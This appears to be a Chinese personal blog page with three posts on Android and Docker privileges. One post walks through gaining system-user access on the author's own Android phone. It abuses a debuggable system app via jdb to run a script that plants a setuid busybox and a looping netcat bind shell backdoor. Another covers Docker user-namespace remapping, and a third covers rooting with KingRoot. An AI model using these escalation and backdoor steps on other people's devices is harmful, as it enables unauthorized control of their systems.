显示标签为“root”的博文。显示所有博文
显示标签为“root”的博文。显示所有博文

2016年7月13日星期三

Android Hack进行时: 取得了"system"用户,还需继续努力升格为root用户

钻了个debuggable的漏洞,取得了system用户,转而为如何升为root而操心。

Android 5.1.1, Linux 3.10.49
发现了一个原装的系统应用,居然可以被调试,反正出现在Android Studio的可调式进程清单里,看来是DEBUG版本就那样稀里糊涂的烧到主板里了。 先查查看用户身份:
pm dump com.example.app
里面能够看到用户身份是"system"。 本来一个run-as就可以转换成这个身份了的,
run-as com.example.app
但是报错说没有这个package,原因不明。好几个可以调试的app里,有的能够run-as,有的不行。
那就转向jdb的路子:
$ adb forward tcp:18600 jdwp:那个系统app的pid
$ jdb  -attach localhost:18600
> threads
group system:
  (java.lang.Thread)0x2a86 Signal Catcher        ...
  (java.lang.Thread)0x2a87 FinalizerWatchdogDaemon ...
  ... 
group main:
  (java.lang.Thread)0x2a8d main                   ...
  (java.lang.Thread)0x2a8e Binder_1               ...
  ...
> thread 0x2a8d
main[1] stepi
>  /*执行到这里后,打开手机动一下那个app触发调试器*/
stepi completed: "thread=main", android.os.MessageQueue.next()、row=145 bci=22
   /*然后再输入print new...命令运行一个脚本以便启动一个shell server侦听7777端口*/
main[1] > print new java.lang.Runtime().exec("sh /sdcard/qj.sh")
只是有几个/sdcard/...文件得事先传到手机上。 /sdcard/qj.sh:
date > /sdcard/log
cp -f /sdcard/busybox /data/ 2>> /sdcard/log || exit 1
chmod 4777 /data/busybox 2>> /sdcard/log || exit 1
(while true; do /data/busybox nc -l -p 7777 -e sh; done) >> /sdcard/log 2>&1 &
echo server OK >> /sdcard/log
/sdcard/busybox:
[从这里下载](http://busybox.net/downloads/binaries/latest), 一般选armv7就行了。
然后用nc连上7777端口就可以连上后门shell server,输入任何命令都会以system身份之行。
adb forward tcp:7777 tcp:7777
nc localhost 7777
可是搞到手后发现离root还差一点,不能够改写/system下的东西,也不能mount。能够改/data下的东西,也很有用,看看后面能不能找到方法升级成root。
id命令的结果:
uid=1000(system)
gid=1000(system)
groups=1000(system)
1007(log)
1010(wifi)
1015(sdcard_rw)
1021(gps)
1023(media_rw)
1028(sdcard_r)
3001(net_bt_admin)
3002(net_bt)
3003(inet)
3004(net_raw)
3005(net_admin)
3006(net_bw_stats)
3009(qcom_diag)
9997(everybody)
41000(u0_a31000)
context=u:r:system_app:s0

2016年6月24日星期五

体验了一下Docker的root用户映射

2016/07/01:要想限制容器里用户的权限,有两种方法:

  1. 让你在容器里做个凡人(这个方法对于有些需要root的容器是不适合的)。
具体的就是,指定容器里用户的uid:gid,使得容器里压根不存在root用户。
$ docker run -it -u 1000:1000 ubuntu
groups: cannot find name for group ID 1000   #这个错误没关系
I have no name!@fcaadb40ddd0:/$ id     #执行id命令看看结果。
uid=1000 gid=1000 groups=1000
(这里的uid:gid和主机的不一样,具体的怎么关联的不太清楚。一般来说这个就足够了,但是也许会有什么应用需要root权限,这时就需要下一步要说的方法来限制权限了)
  1. 让你在容器里做玉皇大帝, 但是这个玉皇大帝和所有凡人,都只是被映射到茫茫宇宙中一片卑微甚至虚空的身份上。
就算容器里有个孙悟空突破了限制做了玉皇大帝,那也翻不出如来佛的手掌。 具体的就是,把容器里的root等用户映射成主机那边的指定的一片uid:gid。

2017/01/20:忽然想起来看看,容器里以root运行的进程,在外面看来到底是什么?是一个进程。那是什么用户身份呢?也是root,只是capabilities受到很多限制,理论上依然危险。

在docker里以root身份运行sleep 12345
docker@somehost:~$ docker run -it busybox
/ # id
uid=0(root) gid=0(root) groups=10(wheel)
/ # sleep 12345
在容器外面查看这个sleep是什么进程,什么用户身份?也是root。
docker@somehost:~$ ps -ef |grep 12345
root      1997  1980  0 09:44 pts/1    00:00:00 sleep 12345
查看该进程的权限信息,就能够发现capabilities是受限制的,但是理论上还是可以钻漏洞影响到容器外的。
docker@somehost:~$ cat /proc/1997/status |grep Cap
...
CapEff:    00000000a80425fb
...
用capsh工具查看00000000a80425fb就明白意思。这个root收到了限制。
最近用的docker-machine版本是0.8.2,docker 1.12.5。发现docker-machine里面已经默认创建好了dockremap这个用户了,连/etc/subuid /etc/subgid里都准备好了。结果,只要修改活着创建/etc/docker/daemon.json,加上{"userns-remap":"default"}就可以了,重启动docker-machine就可以生效。
确认
docker@somehost:~$ cat /etc/subuid 
dockremap:165536:65536
docker@somehost:~$ cat /etc/subgid 
dockremap:165536:65536
准备
docker@somehost:~$ cat /etc/docker/daemon.json
{
  "userns-remap": "default"
}
如果还不存在dockremap用户,那么就运行这个命令生成用户dockremap:
sudo adduser --system dockremap
重启动
docker-machine restart somehost
docker-machine ssh somehost
在docker里以root身份运行sleep 12345
docker@somehost:~$ docker run -it busybox
/ # id
uid=0(root) gid=0(root) groups=10(wheel)
/ # sleep 12345
在容器外面查看这个sleep是什么进程,什么用户身份
docker@somehost:~$ ps -ef |grep 12345
165536    2360  2344  0 09:36 ?        00:00:00 sleep 12345
就是这个165536,说明生效了,用户身份不是以前的0(root)了。

2016/?/?: 我要体验的就是第2种功能,刚出来半年,因为uid映射只能手动做,而且是针对docker daemon设定的,所以默认是不开启的,也无法从普通的docker run命令里指定。

主要是docker daemon加个选项 --userns-remap=test_user:test_group and add /etc/subuid /etc/subgid
如果按照docker官方文档说的--userns-remap=default(就是让docker daemon创建dockremap用户),也会报错说找不到用户,据有的用户反映是tiny core linux里的adduser和普通的linux发行版不一样,我没仔细查。
$ docker-machine ssh rethink   # rethink is my vm name, please change it to yours.
...
docker@rethink:~$ sudo vi /var/lib/boot2docker/profile 
...
EXTRA_ARGS='
--label provider=virtualbox
--userns-remap=test_user:test_group            #####this is what i add#####
'
...
docker@rethink:~$ exit
then restart by docker-machine restart rethink, cause same error Maximum number of retries (10) exceeded(看/var/lib/boot2docker/docker.log能看到错误是说用户找不到), docker daemon is not started,
then add user/group,
docker@rethink:~$ sudo addgroup -g 20 test_group
docker@rethink:~$ sudo adduser -G test_group -SDHu 501 test_user
then prepare uid/gid range for container
docker@rethink:~$ sudo -c "echo test_user:100000:65536 > /etc/subuid"
docker@rethink:~$ sudo  -c "echo test_group:200000:65536 > /etc/subgid"
then start docker daemon
docker@rethink:~$ sudo /usr/local/bin/docker daemon -D -g "/var/lib/docker" -H unix:// -H tcp://0.0.0.0:2376 --label provider=virtualbox \
--userns-remap=test_user:test_group --tlsverify --tlscacert=/var/lib/boot2docker/ca.pem --tlscert=/var/lib/boot2docker/server.pem --tlskey=/var/lib/boot2docker/server-key.pem -s aufs

...
INFO[0000] User namespaces: ID ranges will be mapped to subuid/subgid ranges of: test_user:test_group 
DEBU[0000] Creating user namespaced daemon root: /mnt/sda1/var/lib/docker/100000.200000 
...
Then i run docker container. There are strange thing here: previously used docker image will be treated as "not exist", get downloaded again.
$ docker run -it -v /bin:/xxx busybox
Unable to find image 'busybox:latest' locally
latest: Pulling from library/busybox
8ddc19f16526: Pull complete 
Digest: sha256:a59906e33509d14c036c8678d687bd4eec81ed7c4b8ce907b888c607f6a1e0e6
Status: Downloaded newer image for busybox:latest
/ # id
uid=0(root) gid=0(root) groups=10(wheel)
/ # ls /xxx
VBoxClient     cat            dd             echo           gunzip         ln             mount          printenv       ...
...
/ # echo hi > /xxx/a
sh: can't create /xxx/a: Permission denied
很好, container里的root只能老老实实的以host os里的test_user身份运行了。
不过一旦重启动就泡汤了(还是老错误说用户找不到), 出现问题后,请进去把/var/lib/boot2docker/profile里的改动给恢复就行了。
重启动导致的问题很好理解,八成是因为docker-machine的VM是从关盘(boot2docker.iso)里启动的,我做的修改大部分都是在iso的内存盘里做的,并没保存到iso里,这是docker-machine的一个问题,有人提了建议了。

2016年6月20日星期一

试了一个获取Android系统权限的工具Kingroot,运气不错,取得root了。

看起来做得很精致干净,谢谢!试验的机子是一款没有名气的牌子。2016/07/14补:后来发现有个更干净更管用的工具,名字多了个o,叫KingoRoot。

kingroot 这个公司看来搜罗了很多Android的漏洞,挨个试着破解,运气好的时候,就不用启动就成功了。也有人运气背的,不停的崩溃重启动。这东西谁能保证呢。
安装:显然不能从Google 的Play store里来,只能手动到那个网站下载app,我是下载手机版的,然后adb install ......apk。
然后运行KingRoot里的Root Auth功能,需要联网,它似乎会查询代码库,然后自动的进展,过几分钟,他说好了。
这好了的证据,一个是,我发现这个app无法像一般app那样拖拽到垃圾箱卸载了,app信息里的卸载按钮压根不存在。
然后我adb shell进去一看,/system/xbin/su新生成了!执行su一下就会有Kingroot画面弹出来问允不允许,就和SuperSU那个差不多。
然后随便干什么都行了,只是有一点, /system目录依然是mount成只读的,所以大概需要重新mount一下,我还没试,想来和以往的经验没什么不同。不管怎样,至少id成了0了,/data/data下可以乱搞了,各种不顺眼的process都可以kill了。
追加,试了,可以把/system搞成可写的了。方法google一下到处都有,摘要:
#   mount -o rw,remount /system



2016/06/28:
这个工具毕竟是特殊工具,用时要做好遇难的思想准备。KingRoot有Windows版(通过ADB连接手机进行破解),我在虚拟机里用了(感谢VirtualBox可以安装一个为了ADB的USB扩展: http://forum.xda-developers.com/showthread.php?t=570452),
KingRoot最终报错,但实际上/system/xbin/*su* 已经生成了,其实已经被root了,但是一执行就会爆“no ...ui ...”之类错误,这是手动把KingRoot的apk安装上去(不用执行)就可以了,他就会和su配成对来弹出一个对话框确认来自adb的root请求。
进一步发现,这个工具很可能受到腾讯安全公司的资助,因为它内部包含了Tencent的ADB Server和一个QQ关联的东西,通过工具看到这个ADB Server会往腾讯安全公司发数据。可能存在后门。
手机版的就没确认又无后门。

总之,用这个工具,要在虚拟机里用,并且手机要禁止网络,成功之后在把KingRoot的su换成标准的SuperSU之类的(可笑的是,这东西也不是开源的)。
2016/07/14补:后来发现有个更干净更管用的工具,名字多了个o,叫KingoRoot。这个工具没在Windows上安装什么乱七八糟的(安装时不要同意赞助软件就行了),运行时我观察了,没有起额外的进程,出了自带的adb。也顺利的root成功了,而且手机上安装的东西没有别的功能,只是管理root同意名单,叫做SuperUser,可能是基于一个开源的SuperUser改的。